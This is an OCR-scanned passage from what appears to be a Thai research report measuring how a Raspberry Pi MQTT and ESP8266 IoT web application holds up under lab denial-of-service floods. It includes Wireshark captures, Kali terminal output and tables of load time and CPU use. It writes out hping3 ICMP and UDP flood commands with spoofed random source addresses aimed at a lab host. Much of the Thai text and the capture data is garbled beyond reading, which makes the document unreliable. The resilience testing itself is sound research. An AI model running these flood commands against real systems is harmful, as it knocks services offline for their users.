65367204 packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

MW 4.3 MFea319013 TauALULY TCP SYN Flood Attack 118231474 Packet Naviuand 1l

Tawd

& Capturing from ethO

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® + BEB@ a « » 0 <« >N o= ol

No. il Source Destination Protocol Length Info

8 174 61777 8181 [SYN] Seq=e
174 61778 — 8181 [SYN] Seq=@
174 61779 8181 [SYN] Se
174 61780 ] Se
174 61781

il

. 335525820 1

1

1

.1,

8.1. 174 61782

il

1

1

1

.335529758
.335556275

174 61783

228.246.5.170
6490.. 6.335586242 233.178.195.23
6490.. 6.335589960 00.224.143.89
17.97.231.222
110.14.149.191
242.193.115.123
106.198.157.87
70.254.227.202
199.224.198.92

= (1392 bits), 174 bytes captured (1392 bi on interface ethe, id e
7f:46:60 ( :7f:46:60). Dst: Parallel 9:18 (00:1c:42:00
: 42 7f 3 © 0 B-F
a9 8 @ v
60 ) 8-} P
XK
XXX
KKK
XXX KX
KOOXXXHXX XXHXKXRXKKX
KOOXXXHKXK XHXHXKXXKKX
3 58 OO XXKXKOKX
58 58 L 3 58 ¢ L 3 JOOOOKK XHKXXXX

NUUOANDD DD

58
ethO: <live capture in progress> Packets: 649086 - Displayed: 649086 (100.0%) & Profile: Default

MNT 4.4 7329801 TCP Packet Nad09n 11015 Taud Tae1d Wire shark

4.2.3 ICMP Flood Attack

M3inageums 1aud 11Unszuy 1oT raesmsnaden laely HPing3 a319 ICMP

Packet Iﬂﬂm‘is]ﬂﬂ)" Command
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“sudo hping3 -1 -d 120 192.168.1.103 --flood --rand-source ”

W Tandluszezinar 10 w1 laead1a Packet 1 TanANIMuA 66,560,075

Packet Tp8Aas Packet UUUIA 120 Bytes uazasuungiay IP Address @UN14 (Spoofing

Source IP) AunaeN1s lanfAogh 110,000 Packet v U7 Tawansnagouain1s1ail [21,3]

ESPR266

Time

1min

2min

3min

4min

Smin

6min

7min

8min

9min

10min

Web Page: o W3IBS Web Application

Web Load Time: 52821981 1un519189 Web Application Tuviuae Jaa v
LED: 520210a17M3A0 UaNeduedmIdens LED luniie fad i
Humidity: mﬁ%"u6191’@y’aqmwgﬁuazmm%umuﬁmwauu Web Application

@ a ¥ { A 1 o 4
ESP  Humidity: mi’mqmwgma&mm%umm DHT22 ﬁ!%ﬂll@]ﬂﬂllll'ﬁ]iﬂ

PI CPU(%) : Y51naims 19maanmsdseuianaued Raspberry Pi

Pi Mem(%) : YS1naims 19M129A1031904 Raspberry Pi

Web Load ESP PI CPU PI Mem
WebPage Time(ms) LED Humidity Humidity (%) (%)
Y 120 Y Y Y 21.9 0.9
Y 119 Y Y 4 14.9 0.8
Y 209 Y Y Y 2.7 0.5
Y 231 Y Y Y 26.9 0.8
Y 120 Y Y Y 17.9 0.8
Y 374 Y Y Y 23.5 0.8
Y 117 Y Y Y 19.9 0.8
Y 124 Y Y Y 14.2 0.8
Y 116 Y Y Y 16.2 0.8

Y 132 Y Y Y 21.8 0.8
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. Ao Y A g A A 9 4 X2 3 9
Raspberry Pi fiv1mi17dlu MQTT Broker N1/51aimsles CPU Nigaauaniios
) o 4 o { @
1AZNI3i30n Web Application d1m5uANAUIeAgomes LED finsiaiuilndifeny
¥1na1lnd
' =3 = 9y K . . [ 4
5¢1219M3 lauAnaeAs=ezIa1 10 UIA NI5I109 Web Application 81115911 18
a o o & A~ a 4 o a [ 1 a
Und msdemsmiduiavazianenyeomo’ LED awsoildlng mssuaguugiuaz
4

a 4

ANUFUIIN MQTT Broker WULAAIUY Web Application aysauaadlalnd iyuiwes
A A 1 o 4 o kY a
DHT22 MyousenylulasaeuInsames ESP 8266 awnsaiauladng

Raspberry Pi 1inua 13 lunsfauaues (Resilience) M1 Resource A19 ) 15U

Y
CPU 1az Memory naun1vinunanunnainis layaaugaas

ICMP SYN Flood

400
- 300
&
@
200
d /
&
€T
= 100
0
0 2 4 & 8 10

Attacking Time {min)
66,560,075 Packets

PN 4.5 N5 1UAAITZELIAINTADUAUDIVDI Web Application LNIUADIZIZIIAINT L9UA

11UY ICMP Flood Attack

kali@kali: ~
File Actions Edit View Help

120 192.168.1.103
[sudo] password for kali:
HPING 192.168.1.103 (eth® 192.168.1.103): icmp mode set, 28 headers + 120 dat
a bytes

hping in flood mode, no replies will be shown
G
192.168.1.103 hping statistic —
66560075 packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

v . Y '
ﬂ"l‘Wﬁ 4.6 ﬁ1ﬂ\‘lﬁ%1\‘]ﬂ1ii%ﬂ@]ﬂﬂﬂ ICMP Flood Attack 1ta29142U Packet “I/I\iﬂllﬂﬂfff\‘ihlﬂi%llﬁ
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& Capturing from ethO

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® + BRARB 2 « » 0 « » K oo ol

No. Source Destination Protocol Length Info

5.656664227 186.210.44.135 .1. 162 Echo (ping) request

. 5.656668383 84.227.168.84 chls 162 Echo (ping) request
4681.. 5.656672597 210.39.165.251 192.168.1.183 ICMP 162 Echo (ping) request
4681.. 5.656687866 153.140.176.88 192.168.1.183 ICMP 162 Echo (ping) request
4681.. 5.656697065 39.174.121.144 192.168.1.163 ICMP 162 Echo (ping) request
4681.. 5.656700271 93.152.208.187 192.168.1.183 ICMP 162 Echo (ping) request
4681.. 5.656703841 86.69.200.238 192.168.1.1603 ICMP 162 Echo (ping) request
4681.. 5.656709851 205.147.138.224 192.168.1.183 ICMP 162 Echo (ping) request
4681.. 5.656723569  229.43.220.144 192.168.1.103 ICMP 162 Echo (ping) request
4681.. 5.656737123 128.230.119.87 192.168.1.103 ICMP 162 Echo (ping) request
4681.. 5.656740512 30.173.130.74 192.168.1.183 ICMP 162 Echo (ping) request
4681.. 5.656743575 ©.244.227.253 192.168.1.163 ICMP 162 Echo (ping) request
4681.. 5.656746690 122.229.218.224 192.168.1.1603 ICMP 162 Echo (ping) request
4681.. 5.656778486 52.52.181.30 192.168.1.103 ICMP 162 Echo (ping) request
4681.. 5.656802173 200.214.158.135 192.168.1.183 ICMP 162 Echo (ping) request
. 5.656928917 130.135.144.131 1. 162 Echo (ping) request
5.657464343 217.153.72.192 caly 162 Echo (ping) request

» Frame 1: 162 bytes on wire
» Ethernet II. Paralle
c 42
3f &
88 ee
B 58
3 68
8 58
3 58
3 68
8

Packets: 468182 - Displayed: 468182 (100.0%) ' Profile: Default

MU 4.7 @37980U ICMP Packet Nad09n 11111013 Taud Iaald Wire shark

4.2.4 UDP Flood Attack
mMsnageums land lUiszuy T $1aeemsnaden lasly HPing3 @319 UDP
Packet Tﬂﬂmﬂ% Command
“sudo hping3 --udp -d 120 -p 8181 192.168.1.103 --flood --rand-source
o a = Y =~ 3’;
mimsTaudiuszezinar 10 iR Iaeai1e Packet 11 TauANnanua 75,300,337

Packet la@aag Packet HU11A 120 Bytes (o Yaounaneay IP Address AUNIY (Spoofing

1 A =) L= 1 a Y [ dy
Source IP) ﬂ“ﬂﬁﬂﬂ'l‘ii%ilﬁ@g‘ﬂ 125,000 Packet 919 N llﬂWﬁﬂ'l‘iﬂ@’df]U@\?ﬁ?iNu [3]

Web Page: o M50 Web Application
Web Load Time: 528213a1114519189 Web Application TuH1i2e fiaa uni
LED: 52821001M35@0Ua U049 59015 LED Tuviuae dagaiun
Y

Humidity: M35udeyagungiuazanuduiaainauy Web Application

v = g { 4 1 %3
ESP  Humidity: n135iagavgiiuazA11usuves DHT22 Mieuaenuuesa

ESP8266

Yo o .

PI CPU(%) : YSuams 1¥masnsdseuianavuo Raspberry Pi

Pi Mem(%) : Y311a1m3 1941i28A091904 Raspberry Pi
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Web Load ESP PI CPU PI Mem
WebPage Time(ms) LED Humidity Humidity (%) (%)

Time

Imin Y 130 Y Y Y 12.2 0.9
2min Y 127 Y Y Y 14.6 0.9
3min Y 111 Y Y Y 17.1 0.9
4min Y 143 Y Y Y 13.2 0.9
Smin Y 188 Y Y Y 10.4 0.9
6min Y 122 Y Y Y 20.8 0.9
7min Y 128 Y Y Y 19.9 0.9
8min Y 149 Y Y Y 18.5 0.9
9min g 135 Y Y Y 17.6 0.9
10min Y 164 Y Y Y 18.3 0.8

. A o Y A g A A 9 4 2 3 9
Raspberry Pi N1v1m17i]u MQTT Broker N1/51aimsles CPU figaauianiios
o [ 4 = o { = [
1azMSIN1D9 Web Application d1m5uUaNUAUIOAgeMos LED Imsiiiaunlndifeeny
¥21a1UnA
1 =) ~ Y K . . o Y
5YH319M 3 1IUAAADATZEZIIA 10 W17 NSNS Web Application 11150911 1@
a o o & o a 14 o a o 1 a
Und msdemsmidudanazilanenyomes LED a1misniildlng mssuaguugiuaz
9
a 14
AMUFUIIN MQTT Broker MAAIVYU Web Application a1u1sauaadlalnd wsuised
A A 1 o 4 o 9y a
DHT22 Myeuseny lulasaeuInsames ESP 8266 a1unsaiaulayna
. Y . 4 1 1 1
Raspberry Pi 1A0a 1150 1umsAuaLL09 (Resilience) NA1 Resource A4 9] 195U

=t (2

Y
CPU (18 Memory nauuaulnaiunvdaims landaugaag
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UDP SYN Flood

250

200
wr
E

2 150
~
&

5 100
&
L]
[v'eg

50

0

0 2 4 6 3 10
Attacking Time {min])
75,300,337 Packets

MNN 4.8 NI1LAAITZEZIAINTAOLAUBIUB Web Application teUABILEIAINT laNA

11UV UDP Flood Attack

. kali@kali: ~

File Actions Edit View Help

120 8181 192.168.1.103
HPING 192.168.1.103 (eth® 192.168.1.103): udp mode set, 28 headers + 120 data
bytes

hping in flood mode, no replies will be shown

AC

— 192.168.1.103 hping statistic —

75300337 packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

~

v . 9 v
MW 4.9 MFaa319013 TauALULY UDP Flood Attack t1a31142U Packet Naviuana a1 Taud



. Capturing from ethO

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODAdG® +t BBR@ @ « > n «>HEE ooaof@
\

Source Destination Protocol Length

.311970552 88.129.33.222 1. 162 60058 Len=120

.311992207 244.198.145.26 1. 162 60059 - Len=120
1302.. 12.311999815 179.166.197.127 192.168.1.103 uppP 162 60060 —~ 8181 Len=120
1302.. 12.312041122 242.227.145.44 192.168.1.103 uopP 162 60061 —~ 8181 Len=120
1302.. 12.312057160 212.194.34.107 192.168.1.103 ubP 162 60062 —~ 8181 Len=120
1302.. 12.312061092 16.81.146.223 192.168.1.103 ubpP 162 60063 —~ 8181 Len=120
1302.. 12.312064416 252.35.183.51 192.168.1.103 uopP 162 60064 —~ 8181 Len=120
1302.. 12.312069629 58.192.117.220 192.168.1.103 uopP 162 60065 —~ 8181 Len=120
1302.. 12.312106723 59.4.195.90 192.168.1.103 ubP 162 60066 —~ 8181 Len=120
1302.. 12.312119317 121.108.238.247 192.168.1.103 uppP 162 60067 —~ 8181 Len=120
1302.. 12.312123079 27.88.238.131 192.168.1.103 uopP 162 60068 —~ 8181 Len=120
1302.. 12.312125892 153.140.159.114 192.168.1.103 uopP 162 60069 —~ 8181 Len=120
1302.. 12.312150650 197.82.4.217 192.168.1.103 uopP 162 60070 —~ 8181 Len=120
1302.. 12.312167306 9.153.141.252 192.168.1.103 uopP 162 60071 —~ 8181 Len=120
1302.. 12.312171235 234.16.8.166 192.168.1.103 ubP 162 60072 —~ 8181 Len=120
1302.. 12.312174258 80.74.151.143 192.168.1.103 ubP 162 60073 —~ 8181 Len=120

.312177755 197.9.131.82 1. 162 60074 Len=120

» Frame 1: 162 bytes on wire (1296 bits), 162 bytes captured (1296 bits) on interface eth®, id ©
» Ethernet II. Src: Parallel 7f:46:60 (00:1c:42:7f:46:60). D Parallel 00:00:18 ( 1c:42:00:00:18)
18 45 00 B F E

aa 00 @ N

Oa 5 / XXXXXX

58 58 XXXXXXXX

58 58 XXXXXXXX

58 58 XXXXXXXX

58 58 XXXXXXXX

58 58 XXXXXXXX

58 58 XXXXXXXX

58 58 XXXXXXXX

ethO: <live capture in progress> Packets: 1302678 - Displayed: 1302678 (100.0%) = Profile: Default

MNN 4.10 95219901 UDP Packet Narso0on 11vins Taud Iae1d Wire shark
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FEUUVAINITNANDY [oT Glugﬂl,mumuai]m'ﬂzsluﬂmnﬂuuamslwmuaQ

Fot1ialumumdsnmslszanaveslulns Insisaises Raspberry Pi ivhanisvgnald i

4

AUIAIUYUNAI (Control Center) Hazdaiina luauanuiuaslaonss

HTTP GET Flood Attack

Y o o 9

4 ~
luTasInsseiaes Raspberry Pi HW¥edinan uAuaINITalseulana GET
Y A ) = = ~ 49! = Y Aa
Requests ”lmwm 173 Requests A1IDIUIN l,m?.illi?.iEJS?L’Jﬁ1ﬂ15‘]J5$3J’JEW]q\NJu umﬂ%ﬂsmm
1] ~ dzl Y = YA k) o A 9
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UNAAI1ZH HTTP GET Flood Attack

M3 lawdlugaluuy HTTP GET Flood Attack e1508IWanssnunUn1sNIeIy
Y 1 o =Y A ;@ A [ Y
V0I5V ToT TApd1FaaunIN5 U0 Packet GET Requests B3 1maifigann 91971114
sguu oT  lumwnsoliuinis1d Feezaawansenuldinannudenieaed1991u
o 1% a < 4 s
Tagunanumsilesnulumsiszgna ldaunse mniuszu loT fgnldauneluesdng
9 A ] aq 9 A L] [ [
A759952 DU ToT  13n1e1un50910 Intranct 1azii 19911 Load Balance 103789001510
{0 3 J @ A
Usuna Packet NHTWAUMIA Mnlumstszgnd lgaumeenieluniaGou onidenldusms
. . A YA [ ~ [ [ =Y A
Commercial Cloud Services [2] Wwin 1 IinswernsnuAnenuMIIAN5Uu1 Packet N
NUIUNIN

TCP SYN Flood Attack

luTas Inssaiwes Raspberry Pi inua13130 171313 Web Application Tuuasy

a = Y T o G [ v 9
m@mﬂi}m}"lmwm 50% uaz"limmmmmmﬁlumimuwmimﬁm HIvNIITUNIUBDYA

k)
Y

t4 4 S A J A @ A =
ﬂqﬂ@.ﬂﬂﬁmlcﬁulcﬁ'ﬂi @a@ﬂﬁgﬂgma']ﬂ’]ﬁiﬁ]ll@] Mﬂ151%ﬂin1mﬂiwﬂ1ﬂ51uﬂ1iﬂi$u3aﬂQQﬂJu
3 ' A ~ YRR ° aao YA v Y Hq ¥
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